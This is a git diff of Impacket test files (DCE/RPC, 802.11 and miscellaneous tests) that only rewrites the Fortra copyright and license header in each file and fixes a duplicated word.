a/tests/dcerpc/test_samr.py +++ b/tests/dcerpc/test_samr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_scmr.py b/tests/dcerpc/test_scmr.py index 3aa7ef2344..afbeea1153 100644 --- a/tests/dcerpc/test_scmr.py +++ b/tests/dcerpc/test_scmr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_srvs.py b/tests/dcerpc/test_srvs.py index 71b230bd72..85aa85a812 100644 --- a/tests/dcerpc/test_srvs.py +++ b/tests/dcerpc/test_srvs.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_tsch.py b/tests/dcerpc/test_tsch.py index f3ddf32611..e37e22a8a3 100644 --- a/tests/dcerpc/test_tsch.py +++ b/tests/dcerpc/test_tsch.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dcerpc/test_wkst.py b/tests/dcerpc/test_wkst.py index 3b6a371849..ced779fa5b 100644 --- a/tests/dcerpc/test_wkst.py +++ b/tests/dcerpc/test_wkst.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/__init__.py b/tests/dot11/__init__.py index 1864e82f16..bde765a9b6 100644 --- a/tests/dot11/__init__.py +++ b/tests/dot11/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies # -# This software is provided under under a slightly modified version +# All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/tests/dot11/test_Dot11Base.py b/tests/dot11/test_Dot11Base.py index 57843484b1..965d1108ec 100644 --- a/tests/dot11/test_Dot11Base.py +++ b/tests/dot11/test_Dot11Base.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_Dot11Decoder.py b/tests/dot11/test_Dot11Decoder.py index 3204612a59..f728fb7f1f 100644 --- a/tests/dot11/test_Dot11Decoder.py +++ b/tests/dot11/test_Dot11Decoder.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_Dot11HierarchicalUpdate.py b/tests/dot11/test_Dot11HierarchicalUpdate.py index ceec9242d4..a9505eaadc 100644 --- a/tests/dot11/test_Dot11HierarchicalUpdate.py +++ b/tests/dot11/test_Dot11HierarchicalUpdate.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlACK.py b/tests/dot11/test_FrameControlACK.py index d7857f3b59..4f2d9d67dd 100644 --- a/tests/dot11/test_FrameControlACK.py +++ b/tests/dot11/test_FrameControlACK.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlCFEnd.py b/tests/dot11/test_FrameControlCFEnd.py index cef35017e8..78a3b92152 100644 --- a/tests/dot11/test_FrameControlCFEnd.py +++ b/tests/dot11/test_FrameControlCFEnd.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlCFEndCFACK.py b/tests/dot11/test_FrameControlCFEndCFACK.py index 2c2dc851b0..be337d86ae 100644 --- a/tests/dot11/test_FrameControlCFEndCFACK.py +++ b/tests/dot11/test_FrameControlCFEndCFACK.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlCTS.py b/tests/dot11/test_FrameControlCTS.py index 613ec2fb68..e274ef684a 100644 --- a/tests/dot11/test_FrameControlCTS.py +++ b/tests/dot11/test_FrameControlCTS.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlPSPoll.py b/tests/dot11/test_FrameControlPSPoll.py index 7b4e4b57c7..317abd1f81 100644 --- a/tests/dot11/test_FrameControlPSPoll.py +++ b/tests/dot11/test_FrameControlPSPoll.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameControlRTS.py b/tests/dot11/test_FrameControlRTS.py index db31bcf34a..8ad6a72f9c 100644 --- a/tests/dot11/test_FrameControlRTS.py +++ b/tests/dot11/test_FrameControlRTS.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameData.py b/tests/dot11/test_FrameData.py index c952f4a8a2..b6b20868e8 100644 --- a/tests/dot11/test_FrameData.py +++ b/tests/dot11/test_FrameData.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagement.py b/tests/dot11/test_FrameManagement.py index 276d970f5a..32b1c5c6cd 100644 --- a/tests/dot11/test_FrameManagement.py +++ b/tests/dot11/test_FrameManagement.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementAssociationRequest.py b/tests/dot11/test_FrameManagementAssociationRequest.py index 98ea550b8a..1d5e597b3f 100644 --- a/tests/dot11/test_FrameManagementAssociationRequest.py +++ b/tests/dot11/test_FrameManagementAssociationRequest.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementAssociationResponse.py b/tests/dot11/test_FrameManagementAssociationResponse.py index a9a3b31c1d..2390def29c 100644 --- a/tests/dot11/test_FrameManagementAssociationResponse.py +++ b/tests/dot11/test_FrameManagementAssociationResponse.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementAuthentication.py b/tests/dot11/test_FrameManagementAuthentication.py index 3babd1bce9..94e6fa193c 100644 --- a/tests/dot11/test_FrameManagementAuthentication.py +++ b/tests/dot11/test_FrameManagementAuthentication.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementDeauthentication.py b/tests/dot11/test_FrameManagementDeauthentication.py index dbd42ef352..e959625a02 100644 --- a/tests/dot11/test_FrameManagementDeauthentication.py +++ b/tests/dot11/test_FrameManagementDeauthentication.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementDisassociation.py b/tests/dot11/test_FrameManagementDisassociation.py index 5d594f2466..33152e755f 100644 --- a/tests/dot11/test_FrameManagementDisassociation.py +++ b/tests/dot11/test_FrameManagementDisassociation.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementProbeRequest.py b/tests/dot11/test_FrameManagementProbeRequest.py index 84b635810b..7f34084eb0 100644 --- a/tests/dot11/test_FrameManagementProbeRequest.py +++ b/tests/dot11/test_FrameManagementProbeRequest.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementProbeResponse.py b/tests/dot11/test_FrameManagementProbeResponse.py index 35a9e7bfc5..65121ebcd1 100644 --- a/tests/dot11/test_FrameManagementProbeResponse.py +++ b/tests/dot11/test_FrameManagementProbeResponse.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementReassociationRequest.py b/tests/dot11/test_FrameManagementReassociationRequest.py index 5345cb4401..26f3451aed 100644 --- a/tests/dot11/test_FrameManagementReassociationRequest.py +++ b/tests/dot11/test_FrameManagementReassociationRequest.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_FrameManagementReassociationResponse.py b/tests/dot11/test_FrameManagementReassociationResponse.py index 2964d1199e..47f7259bc9 100644 --- a/tests/dot11/test_FrameManagementReassociationResponse.py +++ b/tests/dot11/test_FrameManagementReassociationResponse.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_RadioTap.py b/tests/dot11/test_RadioTap.py index 6dfd6224be..b857539264 100644 --- a/tests/dot11/test_RadioTap.py +++ b/tests/dot11/test_RadioTap.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_RadioTapDecoder.py b/tests/dot11/test_RadioTapDecoder.py index 3935594306..c118a8193a 100644 --- a/tests/dot11/test_RadioTapDecoder.py +++ b/tests/dot11/test_RadioTapDecoder.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_WEPDecoder.py b/tests/dot11/test_WEPDecoder.py index d47a84ce91..fe1f444ac9 100644 --- a/tests/dot11/test_WEPDecoder.py +++ b/tests/dot11/test_WEPDecoder.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_WEPEncoder.py b/tests/dot11/test_WEPEncoder.py index d11757095e..204af6158e 100644 --- a/tests/dot11/test_WEPEncoder.py +++ b/tests/dot11/test_WEPEncoder.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_WPA.py b/tests/dot11/test_WPA.py index 6a7692743f..724f121d6b 100644 --- a/tests/dot11/test_WPA.py +++ b/tests/dot11/test_WPA.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_WPA2.py b/tests/dot11/test_WPA2.py index 031b973ede..e233a9faae 100644 --- a/tests/dot11/test_WPA2.py +++ b/tests/dot11/test_WPA2.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_helper.py b/tests/dot11/test_helper.py index 72efb03553..c235bdcddb 100644 --- a/tests/dot11/test_helper.py +++ b/tests/dot11/test_helper.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/dot11/test_wps.py b/tests/dot11/test_wps.py index 92134858f9..bb59ad2b9b 100644 --- a/tests/dot11/test_wps.py +++ b/tests/dot11/test_wps.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/__init__.py b/tests/misc/__init__.py index 1864e82f16..bde765a9b6 100644 --- a/tests/misc/__init__.py +++ b/tests/misc/__init__.py @@ -1,7 +1,9 @@ #!/usr/bin/env python -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies # -# This software is provided under under a slightly modified version +# All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/tests/misc/test_ccache.py b/tests/misc/test_ccache.py index 90fb0cc9ea..7c30f7dfad 100644 --- a/tests/misc/test_ccache.py +++ b/tests/misc/test_ccache.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_crypto.py b/tests/misc/test_crypto.py index a3fa4f0167..2061620d3e 100644 --- a/tests/misc/test_crypto.py +++ b/tests/misc/test_crypto.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_dcerpc_v5_ndr.py b/tests/misc/test_dcerpc_v5_ndr.py index 379d08442e..635b6aaea3 100644 --- a/tests/misc/test_dcerpc_v5_ndr.py +++ b/tests/misc/test_dcerpc_v5_ndr.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_dns.py b/tests/misc/test_dns.py index 63e74371c7..8554023ba6 100644 --- a/tests/misc/test_dns.py +++ b/tests/misc/test_dns.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_dpapi.py b/tests/misc/test_dpapi.py index dccf53c5fc..3ce6650013 100755 --- a/tests/misc/test_dpapi.py +++ b/tests/misc/test_dpapi.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_ip6_address.py b/tests/misc/test_ip6_address.py index 078b979180..c4110324b1 100644 --- a/tests/misc/test_ip6_address.py +++ b/tests/misc/test_ip6_address.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_krb5_crypto.py b/tests/misc/test_krb5_crypto.py index 6d43f39562..579ff68233 100644 --- a/tests/misc/test_krb5_crypto.py +++ b/tests/misc/test_krb5_crypto.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_structure.py b/tests/misc/test_structure.py index dc89c31b1d..c97eea0194 100644 --- a/tests/misc/test_structure.py +++ b/tests/misc/test_structure.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/tests/misc/test_utils.py b/tests/misc/test_utils.py index 5aafbcc5e0..c2b0a88c47 100644 --- a/tests/misc/test_utils.py +++ b/tests/misc/test_utils.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file